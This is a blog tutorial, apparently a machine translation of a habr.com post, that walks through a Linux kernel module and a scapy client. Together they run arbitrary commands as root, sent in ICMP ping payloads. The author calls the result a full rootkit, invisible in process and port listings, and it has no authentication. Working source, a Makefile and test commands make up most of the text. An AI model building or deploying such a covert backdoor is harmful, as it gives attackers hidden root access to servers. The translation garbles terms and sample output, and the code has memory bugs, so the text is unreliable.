Kjerne-shell over ICMP

Kjerne-shell over ICMP

TL;DR: Eg eg skriv en kjerner-modul som vil lese kommandoer fra ICMP-payloaden og utføre dem på serveren selv om SSH-en din har falt. For de mest utålmodige er hele koden på github.

Vær forsiktig! Erfarne programmerere i C riskerer å gråte blodige tårer! Jeg kan ta feil selv i terminologi, men all kritikk er velkommen. Innlegget er rettet mot de som har en svært overfladisk forståelse av programmering i C og ønsker å få et innblikk i innmaten av Linux.

I kommentarene til min første artikkelen ble SoftEther VPN nevnt, som kan mimikere noen "vanlige" protokoller, spesielt HTTPS, ICMP, og til og med DNS. Jeg kan bare forestille meg hvordan den første av disse fungerer, siden jeg er godt kjent med HTTP(S), mens tunneling over ICMP og DNS måtte jeg lære.

Kjerne-shell over ICMP

Ja, jeg fant ut i 2020 at man kan sette vilkårlig payload i ICMP-pakker. Men bedre sent enn aldri! Og siden det går an å gjøre noe med dette, må det gjøres. Siden jeg til daglig oftest bruker kommandolinjen, inkludert via SSH, kom ideen om en ICMP-shell til meg først. Og for å lage et fullt bullshitr-bingo bestemte jeg meg for å skrive det som en Linux-modul på et språk jeg bare har en overfladisk forståelse av. En slik shell vil ikke være synlig i prosesslisten, man kan laste det inn i kjernen, og det vil ikke ligge på filsystemet, du vil ikke se noe mistenkelig i listen over lytteporter. I sine muligheter er dette en fullverdig rootkit, men jeg håper å videreutvikle den og bruke den som en nødløsning når Load Average er for høy til å logge inn via SSH og utføre minst echo i > /proc/sysrq-trigger, for å gjenopprette tilgangen uten omstart.

Ta en tekstbehandler, grunnleggende programmeringsferdigheter i Python og C, Google, og en virtuell maskin som man ikke har noe imot å bruke under kniven dersom alt går galt (valgfritt — lokal VirtualBox/KVM/etc.) og så setter vi i gang!

Klientdelen

Jeg trodde jeg måtte skrive et skript på rundt 80 linjer for klientdelen, men snille mennesker gjorde jobben for meg hele arbeidet. Koden viste seg å være overraskende enkel, og får plass i 10 meningsfulle linjer:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Bruk: {} IP "kommando"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Skriptet tar to argumenter, en adresse og en payload. Før sendingen blir payloadet pre-pendert med en nøkkel. kjør:, den trenger vi for å ekskludere pakker med tilfeldig payload.

Kjernen krever privilegier for å kunne lage pakker, så skriptet må kjøres med superbrukerettigheter. Ikke glem å gi kjørbarhet og installere selve scapy. Det finnes en pakke i Debian som heter python3-scapy. Nå kan vi sjekke hvordan alt dette fungerer.

Kjøring og utdata fra kommandoen
morq@laptop:~\/icmpshell$ sudo .\/send.py 45.11.26.232 "Hello, world!"
Begynn utsending:
.Ferdig med sending av 1 pakker.
*
Mottatt 2 pakker, fikk 1 svar, gjenstår 0 pakker
###[ IP ]###
versjon = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flagg =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-svar
kode = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
last = 'run:Hello, world!

Slik ser det ut i sniffers.
morq@laptop:~\/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Kjører som bruker "root" og gruppe "root". Dette kan være farlig.
Fanger på 'wlp1s0'
Ramme 1: 59 bytes på ledningen (472 bits), 59 bytes fanget (472 bits) på grensesnittet wlp1s0, id 0
Internettprotokoll versjon 4, Kilde: 192.168.0.240, Destinasjon: 45.11.26.232
Internettkontrollmeldingsprotokoll
Type: 8 (Echo (ping) forespørsel)
Kode: 0
Kontrollsum: 0xd603 [korrekt]
[Kontrollsumstatus: God]
Identifikator (BE): 0 (0x0000)
Identifikator (LE): 0 (0x0000)
Sekvensnummer (BE): 0 (0x0000)
Sekvensnummer (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 kjør:Hei, verden
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Lengde: 17]

Ramme 2: 59 bytes på wire (472 bits), 59 bytes fanget (472 bits) på grensesnitt wlp1s0, id 0
Internettprotokoll versjon 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internettkontrollmeldingsprotokoll
Type: 0 (Echo (ping) svar)
Kode: 0
Checksum: 0xde03 [korrekt]
[Kontrollsumstatus: God]
Identifikator (BE): 0 (0x0000)
Identifikator (LE): 0 (0x0000)
Sekvensnummer (BE): 0 (0x0000)
Sekvensnummer (LE): 0 (0x0000)
[Forespørsel ramme: 1]
[Respons tid: 19,094 ms]
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 kjør:Hei, verden
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Lengde: 17]

^C2 pakker fanget

Payloaden i svarets pakke endres ikke.

Kjernemodul

For bygging i en VM med Debian vil det kreves minst lag og linux-headers-amd64, resten vil bli trukket inn som avhengigheter. Jeg vil ikke gi hele koden her, men du kan klone den på GitHub.

Konfigurering av hook

For å begynne trenger vi to funksjoner for å laste inn modulen og for å laste den ut. Funksjonen for å laste ut er ikke obligatorisk, men hvis ikke rmmod kan ikke utføres, modulen vil bli lastet ut først ved nedstengning.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Hva skjer her:

  1. To header-filer blir trukket inn for manipulering med selve modulen og netfilter.
  2. Alle operasjoner går gjennom netfilter, hvor vi kan spesifisere hooks. For dette må vi erklære en struktur der hooken vil bli konfigurert. Det viktigste er å spesifisere funksjonen som vil bli utført som hook: nfho.hook = icmp_cmd_executor; jeg vil snart komme til selve funksjonen.
    Deretter spesifiserte jeg behandlingsmomentet for pakken: NF_INET_PRE_ROUTING indikerer å behandle pakken når den nettopp er dukket opp i kjernen. Du kan bruke NF_INET_POST_ROUTING for å behandle pakken når den går ut av kjernen.
    Jeg legger et filter på IPv4: nfho.pf = PF_INET;.
    Jeg gir min hook høyest prioritet: nfho.priority = NF_IP_PRI_FIRST;
    Og jeg registrerer datasktrukturen som en faktisk hook: nf_register_net_hook(&init_net, &nfho);
  3. I avslutningsfunksjonen slettes hooken.
  4. Lisensen er eksplisitt angitt for at kompilatoren ikke skal klage.
  5. Functions module_init() og module_exit() definerer andre funksjoner som henholdsvis initialiserings- og avslutningsfunksjoner for modulen.

Utdrag av payload

Nå må vi hente ut payload, det viste seg å være den vanskeligste oppgaven. Kjernen har ingen innebygde funksjoner for å jobbe med payload, man kan bare parset overskriftene til mer høy-nivå protokoller.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == ' ')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = ' ';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == ' ')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Hva skjer:

  1. Jeg måtte inkludere flere header-filer, denne gangen for å manipulere med IP- og ICMP-headere.
  2. Jeg setter maksimal lengde på strengen: #define MAX_CMD_LEN 1976. Hvorfor akkurat sånn? Fordi kompilatoren klager på større! Det har allerede blitt påpekt for meg at jeg må finne ut mer om stack og heap, en dag skal jeg absolutt gjøre det, og kanskje til og med rette opp koden. Jeg definerer straks en streng som inneholder kommandoen: char cmd_string[MAX_CMD_LEN];. Den må være synlig i alle funksjoner, jeg vil gå mer i dybden om dette i punkt 9.
  3. Nå må jeg initiere (struct work_struct my_work;) strukturen og knytte den til en annen funksjon (DECLARE_WORK(my_work, work_handler);). Om hvorfor dette er nødvendig, vil jeg også fortelle i punkt ni.
  4. Nå erklærer jeg funksjonen som skal være hooken. Typen og mottatte argumenter bestemmes av netfilter, og vi er bare interessert i skb. Dette er socket-bufferten, en grunnleggende datastruktur som inneholder all tilgjengelig informasjon om pakken.
  5. For at funksjonen skal fungere, trenger vi to strukturer og flere variabler, inkludert to iteratorer.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Vi kan starte med logikken. For at modulen skal fungere, trengs det ingen pakker bortsett fra ICMP Echo, så vi parser bufferen med innebygde funksjoner og kaster alle ikke-ICMP- og ikke-Echo-pakker. Retur NF_ACCEPT betyr aksept av pakken, men du kan også droppe pakkene ved å returnere NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Jeg har ikke sjekket hva som vil skje uten å sjekke IP-overskriftene. Min minimale kunnskap om C forteller meg at uten ytterligere sjekker vil noe forferdelig nødvendigvis skje. Jeg vil være glad hvis du overbeviser meg om motsatt!

  7. Nå som pakken definitivt har riktig type, kan vi hente ut dataene. Uten den innebygde funksjonen må jeg først få pekeren til starten av payloaden. Dette gjøres ved å ta pekeren til starten av ICMP-headeren og flytte den frem en størrelse av denne headeren. Alt dette bruker strukturen icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Slutten av overskriften må samsvare med slutten av nyttelasten i skb, så vi får det gjennom kjernemidler fra den aktuelle strukturen: tail = skb_tail_pointer(skb);.

    Kjerne-shell over ICMP

    Jeg har stjålet bildet herfrå, du kan lese mer om socket-bufferen.

  8. Når vi har pekere til begynnelsen og slutten, kan vi kopiere dataene til strengen cmd_string, sjekke den for tilstedeværelse av prefiks kjør: og, enten kaste pakken hvis den mangler, eller skrive over strengen igjen og fjerne dette prefikset.
  9. Så, nå kan vi kalle en annen handler: schedule_work(&my_work);. Siden vi ikke kan sende inn en parameter i en slik anrop, må strengen med kommandoen være global. schedule_work() vil plassere funksjonen tilknyttet den angitte strukturen i den delte oppgaveplanleggeren og avslutte, slik at vi ikke trenger å vente på at kommandoen skal fullføres. Dette er nødvendig fordi hook må være veldig rask. Ellers vil ingenting starte, eller du får kernel panic. Forsinkelse er lik døden!
  10. Det er klart, vi kan ta imot pakken med passende retur.

Kall på programmet i brukermodus

Denne funksjonen er den mest forståelige. Navnet ble angitt i DECLARE_WORK(), typen og de mottatte argumentene er ikke interessante. Vi tar strengen med kommandoen og sender den helt til shellet. La det håndtere parsing, søk etter binære filer og alt annet.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Vi setter argumentene i en strengmatrise argv[]. Jeg antar at alle vet at programmene faktisk kjøres på denne måten, ikke som en sammenhengende streng med mellomrom.
  2. Vi setter miljøvariabler. Jeg har bare lagt til PATH med et minimum av stier, og regner med at alle allerede har dem samlet /bin med /usr/bin og /sbin med /usr/sbin. Andre stier er sjelden relevante i praksis.
  3. Klar, la oss utføre! Kjernefunksjonen call_usermodehelper() mottar som inngang. banen til binærfilen, en matrise av argumenter, en matrise av miljøvariabler. Her mener jeg også at alle forstår meningen med å overføre banen til den kjørbare filen som et eget argument, men du kan spørre. Det siste argumentet indikerer om vi skal vente på at prosessen skal fullføres (UMH_WAIT_PROC), starte prosessen (UMH_WAIT_EXEC) eller ikke vente i det hele tatt (UMH_NO_WAIT). Det er også UMH_KILLABLE, jeg valgte å ikke gå nærmere inn på dette.

Montering

Bygging av kjerne-moduler utføres gjennom det samme kjerne-make-rammeverket. Det blir kalt lag i en spesial katalog knyttet til versjonen av kjernen (definert her: KERNELDIR:=/lib/modules/$(shell uname -r)/build), og plasseringen av modulen sendes via variabelen M i argumentene. I målene icmpshell.ko og clean brukes denne rammeverket fullt. I obj-m angir den objektfilen som skal konverteres til et modul. Syntaksen som konverterer main.o i icmpshell.o (icmpshell-objs = main.o) ser ikke så logisk ut for meg, men la oss gjøre det sånn.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Vi samler: lag. Laster inn: insmod icmpshell.ko. Ferdig, nå kan vi sjekke: sudo ./send.py 45.11.26.232 "date > /tmp/test". Hvis du har fått en fil på maskinen din /tmp/test og den inneholder datoen for forespørselen, betyr det at du gjorde alt riktig, og jeg gjorde også alt riktig.

Konklusjon

Min første erfaring med kjernutvikling var langt lettere enn jeg forventet. Selv uten erfaring med C-programmering, basert på kompilatorens hint og Googles resultater, klarte jeg å skrive et fungerende modul og føle meg som en kjernen hacker, samt en script-kiddy. I tillegg besøkte jeg Kanal Kernel Newbies, hvor de ba meg bruke schedule_work() i stedet for å kalle call_usermodehelper() innen selve hooken og rettet åpent mot meg, med rimelig mistanke om svindel. Hundre linjer med kode kostet meg omtrent en ukes utvikling på fritiden. En vellykket opplevelse som knuste min personlige myte om den uoverkommelige kompleksiteten av systemutvikling.

Hvis noen er villige til å utføre en kodegjennomgang på GitHub, vil jeg være takknemlig. Jeg er nesten sikker på at jeg har gjort mange dumme feil, spesielt i arbeidet med strenger.

Kjerne-shell over ICMP

Kilde: habr.com

Kjøp pålitelig hosting for nettsteder med DDoS-beskyttelse, VPS VDS-servere 🔥 Kjøp pålitelig hosting for nettsteder med DDoS-beskyttelse, VPS VDS-servere | ProHoster